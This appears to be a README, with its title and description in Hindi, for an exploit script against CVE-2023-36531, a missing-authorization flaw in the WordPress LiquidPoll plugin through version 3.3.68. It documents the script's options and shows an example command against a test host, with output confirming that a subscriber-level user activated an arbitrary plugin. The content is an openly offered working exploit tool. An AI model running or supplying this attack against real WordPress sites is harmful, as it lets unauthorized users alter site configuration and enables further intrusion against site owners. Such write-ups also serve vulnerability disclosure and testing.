
LiquidPoll – निर्माताओं और ब्रांडों के लिए उन्नत पोल <= 3.3.68 - activate_addon के माध्यम से प्राधिकरण का अभाव
LiquidPoll – क्रिएटर्स और ब्रांड्स के लिए उन्नत पोल्स <= 3.3.68 - activate_addon के माध्यम से प्राधिकरण की कमी
इसके लिए सब्सक्राइबर स्तर के उपयोगकर्ता की आवश्यकता होती है और प्लगइन को निष्क्रिय होना चाहिए। यह आपके द्वारा दिए गए प्लगइन को सक्रिय कर देगा।
usage: CVE-2023-36531.py [-h] -w URL -u USERNAME -p PASSWORD -a ADDON
WordPress CVE-2023-36531 Exploit
options:
-h, --help show this help message and exit
-w URL, --url URL URL of the WordPress site
-u USERNAME, --username USERNAME
Username of your wordpress user
-p PASSWORD, --password PASSWORD
Password of your wordpress password
-a ADDON, --addon ADDON
Plugin Slug
python3 CVE-2023-36531.py -w http://wordpress.lan -u user -p useruser1 -a wp-polls
Logged in successfully.
POST request sent successfully.
Plugin Activated.